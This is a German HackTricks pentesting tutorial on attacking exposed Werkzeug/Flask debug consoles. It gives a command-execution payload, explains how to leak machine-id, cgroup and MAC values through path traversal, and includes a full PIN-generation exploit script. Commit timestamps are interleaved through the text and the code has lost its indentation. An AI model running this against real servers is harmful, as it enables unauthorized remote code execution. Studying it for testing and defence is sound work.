hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

184 lines
9.8 KiB
Markdown
Raw Normal View History

# Werkzeug / Flask Debug
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
2022-04-28 16:01:33 +00:00
</details>
2024-01-11 13:23:18 +00:00
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 15:36:32 +00:00
**Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
## Console RCE
2020-11-22 21:47:52 +00:00
2024-02-10 15:36:32 +00:00
Wenn das Debuggen aktiv ist, können Sie versuchen, auf `/console` zuzugreifen und RCE zu erlangen.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
2024-02-10 15:36:32 +00:00
Es gibt auch mehrere Exploits im Internet wie [diesen](https://github.com/its-arun/Werkzeug-Debug-RCE) oder einen in Metasploit.
2024-02-10 15:36:32 +00:00
## Mit PIN geschützt - Pfadtraversierung
2020-11-22 21:47:52 +00:00
2024-02-10 15:36:32 +00:00
In einigen Fällen ist der Endpunkt **`/console`** durch einen PIN geschützt. Wenn Sie eine **Dateitraversierungs-Schwachstelle** haben, können Sie alle erforderlichen Informationen zum Generieren dieses PINs preisgeben.
2020-11-22 21:47:52 +00:00
### Werkzeug Console PIN Exploit
2020-11-22 21:47:52 +00:00
2024-02-10 15:36:32 +00:00
Erzwingen Sie eine Debug-Fehlerseite in der App, um Folgendes zu sehen:
```
2020-11-22 21:47:52 +00:00
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
2024-02-10 15:36:32 +00:00
Eine Meldung bezüglich des Szenarios "Konsole gesperrt" wird angezeigt, wenn versucht wird, auf die Debug-Schnittstelle von Werkzeug zuzugreifen. Dies deutet darauf hin, dass ein PIN-Code erforderlich ist, um die Konsole zu entsperren. Es wird vorgeschlagen, den Konsole-PIN-Code auszunutzen, indem der PIN-Generierungsalgorithmus in der Debug-Initialisierungsdatei (`__init__.py`) von Werkzeug analysiert wird. Der PIN-Generierungsmechanismus kann aus dem [**Werkzeug-Quellcode-Repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) untersucht werden, es wird jedoch empfohlen, den tatsächlichen Servercode über eine Dateitraversierbarkeitslücke zu beschaffen, um potenzielle Versionsunterschiede zu vermeiden.
2020-11-22 21:47:52 +00:00
2024-02-10 15:36:32 +00:00
Um den Konsole-PIN-Code auszunutzen, werden zwei Variablensätze benötigt: `probably_public_bits` und `private_bits`:
2020-11-22 21:47:52 +00:00
#### **`probably_public_bits`**
2024-02-10 15:36:32 +00:00
- **`username`**: Bezieht sich auf den Benutzer, der die Flask-Sitzung initiiert hat.
- **`modname`**: In der Regel als `flask.app` bezeichnet.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Löst normalerweise zu **Flask** auf.
- **`getattr(mod, '__file__', None)`**: Stellt den vollständigen Pfad zu `app.py` im Flask-Verzeichnis dar (z. B. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Wenn `app.py` nicht zutrifft, **versuchen Sie es mit `app.pyc`**.
2024-02-04 16:10:29 +00:00
#### **`private_bits`**
2024-02-10 15:36:32 +00:00
- **`uuid.getnode()`**: Ruft die MAC-Adresse des aktuellen Geräts ab, wobei `str(uuid.getnode())` sie in ein Dezimalformat umwandelt.
- Um die MAC-Adresse des Servers zu **ermitteln**, muss die aktive Netzwerkschnittstelle identifiziert werden, die von der App verwendet wird (z. B. `ens3`). Bei Unsicherheit **leaken Sie `/proc/net/arp`**, um die Geräte-ID zu finden, und **extrahieren Sie die MAC-Adresse** aus **`/sys/class/net/<Geräte-ID>/address`**.
- Die Umwandlung einer hexadezimalen MAC-Adresse in Dezimalzahlen kann wie folgt durchgeführt werden:
```python
# Beispiel MAC-Adresse: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
- **`get_machine_id()`**: Verknüpft Daten aus `/etc/machine-id` oder `/proc/sys/kernel/random/boot_id` mit der ersten Zeile von `/proc/self/cgroup` nach dem letzten Schrägstrich (`/`).
<details>
2024-02-10 15:36:32 +00:00
<summary>Code für `get_machine_id()`</summary>
2020-11-22 21:53:42 +00:00
```python
2024-02-04 16:10:29 +00:00
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
2024-02-10 15:36:32 +00:00
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
2020-11-22 21:47:52 +00:00
```
</details>
2024-02-10 15:36:32 +00:00
Nachdem alle erforderlichen Daten gesammelt wurden, kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren. Das Skript verwendet die gesammelten `probably_public_bits` und `private_bits`, um einen Hash zu erstellen, der dann weiterverarbeitet wird, um die endgültige PIN zu erzeugen. Unten ist der Python-Code für die Ausführung dieses Prozesses:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
import hashlib
from itertools import chain
probably_public_bits = [
2024-02-10 15:36:32 +00:00
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
2024-02-10 15:36:32 +00:00
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
2020-11-22 21:47:52 +00:00
]
2024-02-04 16:10:29 +00:00
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
2020-11-22 21:47:52 +00:00
for bit in chain(probably_public_bits, private_bits):
2024-02-10 15:36:32 +00:00
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2020-11-22 21:47:52 +00:00
h.update(b'cookiesalt')
2024-02-04 16:10:29 +00:00
# h.update(b'shittysalt')
2020-11-22 21:47:52 +00:00
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
2024-02-10 15:36:32 +00:00
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2020-11-22 21:47:52 +00:00
2024-02-04 16:10:29 +00:00
rv = None
2020-11-22 21:47:52 +00:00
if rv is None:
2024-02-10 15:36:32 +00:00
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2020-11-22 21:47:52 +00:00
print(rv)
```
2024-02-10 15:36:32 +00:00
Dieses Skript erzeugt die PIN, indem es die konkatenierten Bits hashet, spezifische Salze (`cookiesalt` und `pinsalt`) hinzufügt und das Ergebnis formatiert. Es ist wichtig zu beachten, dass die tatsächlichen Werte für `probably_public_bits` und `private_bits` genau vom Zielsystem abgerufen werden müssen, um sicherzustellen, dass die generierte PIN mit der von der Werkzeug-Konsole erwarteten übereinstimmt.
2024-02-04 16:10:29 +00:00
{% hint style="success" %}
2024-02-10 15:36:32 +00:00
Wenn Sie eine **ältere Version** von Werkzeug verwenden, versuchen Sie, den **Hash-Algorithmus auf md5** anstelle von sha1 zu ändern.
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
## Referenzen
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
2024-01-11 13:23:18 +00:00
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 15:36:32 +00:00
**Sofort einsatzbereite Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit mehr als 20 Tools und Funktionen durch, die von der Aufklärung bis zur Berichterstellung reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:24:39 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>